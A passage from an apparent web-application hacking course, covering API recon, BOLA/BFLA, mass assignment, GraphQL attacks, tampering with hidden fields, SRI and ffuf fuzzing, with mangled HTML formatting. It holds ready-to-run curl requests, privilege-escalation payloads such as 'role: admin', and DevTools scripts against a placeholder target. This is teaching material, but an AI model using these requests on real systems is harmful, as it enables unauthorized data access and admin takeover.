&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;From API documentation exposure:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="common-api-documentation-paths" href="#common-api-documentation-paths" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Common API documentation paths:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl &amp;lt;a href="https://target.com/swagger.json"&amp;gt;https://target.com/swagger.json&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl &amp;lt;a href="https://target.com/swagger/v1/swagger.json"&amp;gt;https://target.com/swagger/v1/swagger.json&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl &amp;lt;a href="https://target.com/api/swagger.json"&amp;gt;https://target.com/api/swagger.json&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl &amp;lt;a href="https://target.com/openapi.json"&amp;gt;https://target.com/openapi.json&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl &amp;lt;a href="https://target.com/api-docs"&amp;gt;https://target.com/api-docs&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl &amp;lt;a href="https://target.com/api/docs"&amp;gt;https://target.com/api/docs&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl &amp;lt;a href="https://target.com/v1/docs"&amp;gt;https://target.com/v1/docs&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl &amp;lt;a href="https://target.com/redoc"&amp;gt;https://target.com/redoc&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="nuclei-check-for-exposed-api-documentation" href="#nuclei-check-for-exposed-api-documentation" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Nuclei check for exposed API documentation:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;nuclei -u &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -tags swagger,openapi,api-docs&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;From Burp Spider and manual browsing:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Let Burp's spider and manual browsing build a complete map of API endpoints in the site map. Then navigate the application through every UI flow — login, view profile, edit profile, purchase, checkout — while Burp captures all API calls.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="common-api-vulnerabilities" href="#common-api-vulnerabilities" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Common API Vulnerabilities
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;BOLA — Broken Object Level Authorization (API-specific IDOR):&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The API equivalent of IDOR. API endpoints accept object IDs and return data for those objects without verifying the requesting user owns them:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="endpoint-returns-your-own-order" href="#endpoint-returns-your-own-order" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Endpoint returns your own order:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;GET /api/v1/orders/8812&amp;lt;br&amp;gt;
Authorization: Bearer USER_A_TOKEN&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="enumerate-other-orders-does-authorization-check-who-owns-order-8813" href="#enumerate-other-orders-does-authorization-check-who-owns-order-8813" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Enumerate other orders — does authorization check who owns order 8813?
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;GET /api/v1/orders/8813&amp;lt;br&amp;gt;
Authorization: Bearer USER_A_TOKEN&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="api-documentation-reveals-all-order-ids-are-uuids-but-are-they-random" href="#api-documentation-reveals-all-order-ids-are-uuids-but-are-they-random" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  API documentation reveals all order IDs are UUIDs, but are they random?
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-not-enumerate-sequentially-or-predictably" href="#if-not-enumerate-sequentially-or-predictably" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If not: enumerate sequentially or predictably
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;BFLA — Broken Function Level Authorization (API-specific privilege escalation):&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;API endpoints for admin functions accessible to regular users:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="normal-users-are-directed-to" href="#normal-users-are-directed-to" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Normal users are directed to:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;GET /api/v1/users/me&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="but-the-admin-endpoint-exists-and-may-work" href="#but-the-admin-endpoint-exists-and-may-work" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  But the admin endpoint exists and may work:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;GET /api/v1/admin/users&amp;lt;br&amp;gt;
GET /api/v1/admin/users/1042&amp;lt;br&amp;gt;
DELETE /api/v1/admin/users/1042&amp;lt;br&amp;gt;
POST /api/v1/admin/promote?user_id=1042&amp;amp;role=admin&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Mass Assignment via API:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;APIs that automatically bind request parameters to model properties allow privilege escalation by submitting non-intended fields:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="normal-user-update-endpoint" href="#normal-user-update-endpoint" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Normal user update endpoint:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;PATCH /api/v1/users/me&amp;lt;br&amp;gt;
Content-Type: application/json&amp;lt;br&amp;gt;
Authorization: Bearer USER_TOKEN&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;{"name": "Alice", "email": "&amp;lt;a href="mailto:alice@example.com"&amp;gt;alice@example.com&amp;lt;/a&amp;gt;"}&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="malicious-request-add-role-field" href="#malicious-request-add-role-field" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Malicious request — add role field:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;PATCH /api/v1/users/me&amp;lt;br&amp;gt;
Content-Type: application/json&amp;lt;br&amp;gt;
Authorization: Bearer USER_TOKEN&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;{"name": "Alice", "email": "&amp;lt;a href="mailto:alice@example.com"&amp;gt;alice@example.com&amp;lt;/a&amp;gt;", "role": "admin", "isAdmin": true}&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-api-uses-mass-assignment-maps-all-request-fields-to-model" href="#if-api-uses-mass-assignment-maps-all-request-fields-to-model" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If API uses mass assignment (maps all request fields to model):
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="user-becomes-admin" href="#user-becomes-admin" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  User becomes admin
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Unauthenticated API Endpoints:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-every-api-endpoint-without-any-authorization-header" href="#test-every-api-endpoint-without-any-authorization-header" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test every API endpoint without any Authorization header:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -X GET &amp;lt;a href="https://target.com/api/v1/users"&amp;gt;https://target.com/api/v1/users&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl -X GET &amp;lt;a href="https://target.com/api/v1/orders"&amp;gt;https://target.com/api/v1/orders&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
curl -X POST &amp;lt;a href="https://target.com/api/v1/admin/create-user"&amp;gt;https://target.com/api/v1/admin/create-user&amp;lt;/a&amp;gt; \&amp;lt;br&amp;gt;
  -H "Content-Type: application/json" \&amp;lt;br&amp;gt;
  -d '{"username":"hacker","password":"hacker123","role":"admin"}'&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="internal-api-endpoints-that-bypass-authentication" href="#internal-api-endpoints-that-bypass-authentication" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Internal API endpoints that bypass authentication:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="apiinternal-often-accessible-from-within-the-data-center-only" href="#apiinternal-often-accessible-from-within-the-data-center-only" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  /api/internal/ — often accessible from within the data center only
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="but-if-ssrf-exists-elsewhere-ssrf-→-internal-api-call-→-admin-access" href="#but-if-ssrf-exists-elsewhere-ssrf-→-internal-api-call-→-admin-access" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  But if SSRF exists elsewhere: SSRF → internal API call → admin access
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;GraphQL-Specific Attacks:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="introspection-reveals-complete-schema" href="#introspection-reveals-complete-schema" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Introspection — reveals complete schema:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -X POST &amp;lt;a href="https://target.com/graphql"&amp;gt;https://target.com/graphql&amp;lt;/a&amp;gt; \&amp;lt;br&amp;gt;
  -H "Content-Type: application/json" \&amp;lt;br&amp;gt;
  -d '{"query": "{ __schema { types { name fields { name type { name } } } } }"}'&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-introspection-is-enabled-use-graphqlvoyager-to-visualize-the-schema" href="#if-introspection-is-enabled-use-graphqlvoyager-to-visualize-the-schema" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If introspection is enabled, use graphql-voyager to visualize the schema
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="or-inql-burp-extension-to-generate-attack-requests-for-every-endpoint" href="#or-inql-burp-extension-to-generate-attack-requests-for-every-endpoint" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  or InQL Burp extension to generate attack requests for every endpoint
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="batch-queries-for-rate-limit-bypass" href="#batch-queries-for-rate-limit-bypass" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Batch queries for rate limit bypass:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -X POST &amp;lt;a href="https://target.com/graphql"&amp;gt;https://target.com/graphql&amp;lt;/a&amp;gt; \&amp;lt;br&amp;gt;
  -H "Content-Type: application/json" \&amp;lt;br&amp;gt;
  -d '[&amp;lt;br&amp;gt;
    {"query": "query { user(id: 1) { email password } }"},&amp;lt;br&amp;gt;
    {"query": "query { user(id: 2) { email password } }"},&amp;lt;br&amp;gt;
    {"query": "query { user(id: 3) { email password } }"}&amp;lt;br&amp;gt;
  ]'&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="field-duplication-can-bypass-field-limits" href="#field-duplication-can-bypass-field-limits" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Field duplication (can bypass field limits):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -X POST &amp;lt;a href="https://target.com/graphql"&amp;gt;https://target.com/graphql&amp;lt;/a&amp;gt; \&amp;lt;br&amp;gt;
  -H "Content-Type: application/json" \&amp;lt;br&amp;gt;
  -d '{"query": "{ user { id id id id id id id id id id id } }"}'&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="graphql-injection" href="#graphql-injection" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  GraphQL injection:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -X POST &amp;lt;a href="https://target.com/graphql"&amp;gt;https://target.com/graphql&amp;lt;/a&amp;gt; \&amp;lt;br&amp;gt;
  -H "Content-Type: application/json" \&amp;lt;br&amp;gt;
  -d '{"query": "{ user(id: \"1\\") { id } }\")"}'&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6127-hidden-elements-and-clientside-controls" href="#6127-hidden-elements-and-clientside-controls" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.7 Hidden Elements and Client-Side Controls
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="why-hidden-means-nothing-for-security" href="#why-hidden-means-nothing-for-security" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Why "Hidden" Means Nothing for Security
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;A common developer misconception: if a UI element is hidden from the user, the user cannot interact with it. This is completely false. CSS &amp;lt;code&amp;gt;display:none&amp;lt;/code&amp;gt;, HTML &amp;lt;code&amp;gt;hidden&amp;lt;/code&amp;gt; attribute, or JavaScript-controlled visibility are purely visual — the underlying HTML elements still exist in the DOM, and the form fields, buttons, and parameters they represent are still submitted in HTTP requests.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;An attacker using Burp Suite does not see the rendered, filtered view — they see raw HTTP. Every hidden field in a form is included in the POST request. Every client-side validation check can be removed by intercepting and modifying the request. Every disabled button can be clicked by manipulating the DOM. Every access control enforced only in JavaScript is bypassed the moment the attacker bypasses the JavaScript.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Common hidden element patterns:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`html&amp;lt;/p&amp;gt;

&amp;lt;!-- Role stored in hidden field — modify before submission: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;input type="hidden" name="role" value="user"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- User ID of the resource being modified: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;input type="hidden" name="user_id" value="1042"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- Price calculated client-side: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;input type="hidden" name="price" value="99.99"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- Checkbox that controls premium feature: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;input type="checkbox" name="premium" style="display:none" checked&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- A disabled button for an action the user "shouldn't" be able to perform: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;button id="admin-delete" disabled style="display:none" onclick="deleteUser()"&amp;gt;Delete User&amp;lt;/button&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- If server accepts the underlying endpoint, enabling this in DevTools works: --&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;How to test:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`javascript&amp;lt;br&amp;gt;
// In browser DevTools Console — remove "disabled" from all buttons:&amp;lt;br&amp;gt;
document.querySelectorAll('button[disabled]').forEach(b =&amp;gt; b.disabled = false);&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;// Show all hidden elements:&amp;lt;br&amp;gt;
document.querySelectorAll('[style*="display:none"]').forEach(e =&amp;gt; e.style.display = 'block');&amp;lt;br&amp;gt;
document.querySelectorAll('[hidden]').forEach(e =&amp;gt; e.removeAttribute('hidden'));&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;// Modify a hidden form field value:&amp;lt;br&amp;gt;
document.querySelector('input[name="role"]').value = 'admin';&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;// Submit the form with modified values&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;In Burp Suite:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;Submit a form legitimately&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;In Burp Proxy — intercept the request before forwarding&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Modify any parameter value (including hidden fields, prices, IDs, roles)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Forward the modified request&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Observe whether the server trusts the modified value&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;

&amp;lt;p&amp;gt;The server must validate all values server-side, regardless of whether they were intended to be user-editable. Any server-side processing that trusts a client-submitted value that could have been tampered with is a vulnerability.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Client-side validation bypass:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`html&amp;lt;/p&amp;gt;

&amp;lt;!-- HTML5 validation (purely client-side — bypass by intercepting the request): --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;input type="email" required pattern="[a-z]+@[a-z]+\.[a-z]+"&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;input type="number" min="1" max="100"&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;input type="text" maxlength="50"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- JavaScript validation: --&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;form onsubmit="return validateForm()"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;!-- All of these are bypassed by:
     1. Editing the form directly in DevTools (remove the attributes)
     2. Intercepting the form submission in Burp and modifying the values
     3. Using curl to send any value directly, bypassing the form entirely
--&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6128-lack-of-code-signing" href="#6128-lack-of-code-signing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.8 Lack of Code Signing
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="what-code-signing-protects-and-what-happens-without-it" href="#what-code-signing-protects-and-what-happens-without-it" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  What Code Signing Protects and What Happens Without It
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Code signing is the practice of cryptographically signing software artifacts — binaries, JavaScript bundles, configuration files, firmware images — with the developer's private key. Users can verify the signature with the corresponding public key to confirm the file came from the legitimate developer and has not been tampered with.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Without code signing:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Users cannot verify software came from the legitimate source&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Intermediate CDNs, package registries, or update servers could serve modified malicious versions&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Supply chain attacks become possible without cryptographic detection&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Subresource Integrity (SRI) — Code Signing for Web Resources:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;When a web page loads a JavaScript library from a CDN, the browser has no way to verify the CDN serves the correct, unmodified file. If the CDN is compromised or the file is replaced, malicious code runs on every visitor's browser.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;SRI (Subresource Integrity) solves this. The HTML tag includes a cryptographic hash of the expected file content. The browser downloads the file, computes the hash, and refuses to execute it if the hash does not match:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`html&amp;lt;/p&amp;gt;

&amp;lt;!-- WITHOUT SRI - trusts CDN completely: --&amp;gt;

&amp;lt;script src="https://cdn.example.com/jquery-3.7.0.min.js"&amp;gt;&amp;lt;/script&amp;gt;

&amp;lt;!-- WITH SRI - cryptographically verified: --&amp;gt;

&amp;lt;script 
  src="https://cdn.example.com/jquery-3.7.0.min.js"
  integrity="sha384-NXgwF8Kv9SSAr+jemKKcbvQsz+teULH/a5UNJvZc6kP47hZgl62M1vGnw6gHQhb3"
  crossorigin="anonymous"&amp;gt;
&amp;lt;/script&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;If the CDN serves a modified &amp;lt;code&amp;gt;jquery-3.7.0.min.js&amp;lt;/code&amp;gt; (with a cryptocurrency miner, a keylogger, or a malicious redirect injected), the hash will not match and the browser will refuse to load it.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Testing for missing SRI:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="check-for-external-scripts-without-integrity-attributes" href="#check-for-external-scripts-without-integrity-attributes" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Check for external scripts without integrity attributes:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -s &amp;lt;a href="https://target.com/"&amp;gt;https://target.com/&amp;lt;/a&amp;gt; | grep -i '&amp;lt;script src' | grep -v 'integrity='&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="nuclei-check" href="#nuclei-check" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Nuclei check:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;nuclei -u &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -id missing-sri&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="manual-check-in-devtools-→-sources-look-for-external-scripts" href="#manual-check-in-devtools-→-sources-look-for-external-scripts" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Manual check: in DevTools → Sources, look for external scripts
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="→-security-→-check-if-any-external-origins-are-loaded-without-verification" href="#→-security-→-check-if-any-external-origins-are-loaded-without-verification" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  → Security → check if any external origins are loaded without verification
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Software update mechanisms:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Desktop applications that download updates over HTTP (without HTTPS and without signature verification) are vulnerable to in-path replacement attacks. An attacker positioned on the network can intercept the update download and replace it with a malicious installer. The application installs the malicious version without knowing the package was tampered with.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;npm/pip package security:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;JavaScript's npm ecosystem and Python's pip have both suffered supply chain attacks where attackers published malicious packages with names similar to popular legitimate packages (typosquatting). Without lockfiles and hash verification, an application might accidentally install a malicious package.&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6129-additional-web-application-hacking-tools" href="#6129-additional-web-application-hacking-tools" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.9 Additional Web Application Hacking Tools
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-professional-web-application-testing-toolkit" href="#the-professional-web-application-testing-toolkit" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Professional Web Application Testing Toolkit
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Beyond the tools covered throughout Module 6, a comprehensive professional toolkit includes several additional resources worth knowing:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;ffuf — Fast Web Fuzzer&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The fastest parameter and content discovery tool available. Outperforms gobuster and dirbuster in both speed and flexibility:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="directory-discovery" href="#directory-discovery" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Directory discovery:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ffuf -u &amp;lt;a href="https://target.com/FUZZ"&amp;gt;https://target.com/FUZZ&amp;lt;/a&amp;gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="parameter-discovery-find-hidden-get-parameters" href="#parameter-discovery-find-hidden-get-parameters" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Parameter discovery — find hidden GET parameters:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ffuf -u &amp;lt;a href="https://target.com/page?FUZZ=test"&amp;gt;https://target.com/page?FUZZ=test&amp;lt;/a&amp;gt; -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="post-parameter-discovery" href="#post-parameter-discovery" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  POST parameter discovery:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ffuf -u &amp;lt;a href="https://target.com/login"&amp;gt;https://target.com/login&amp;lt;/a&amp;gt; -X POST -d "FUZZ=test" \&amp;lt;br&amp;gt;
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \&amp;lt;br&amp;gt;
  -H "Content-Type: application/x-www-form-urlencoded"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="virtual-host-discovery" href="#virtual-host-discovery" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Virtual host discovery:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ffuf -u &amp;lt;a href="https://target.com/"&amp;gt;https://target.com/&amp;lt;/a&amp;gt; -H "Host: FUZZ.target.com" \&amp;lt;br&amp;gt;
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="filter-by-sizestatus" href="#filter-by-sizestatus" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Filter by size/status:
